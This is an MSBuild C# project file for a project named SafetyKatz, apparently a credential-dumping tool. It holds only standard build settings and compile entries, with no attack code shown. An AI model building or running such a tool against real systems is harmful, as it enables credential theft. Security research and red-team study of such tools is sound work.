<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{8347E81B-89FC-42A9-B22C-F59A6A572DEC}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>SafetyKatz</RootNamespace>
<AssemblyName>SafetyKatz</AssemblyName>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>
</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<UseVSHostingProcess>false</UseVSHostingProcess>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>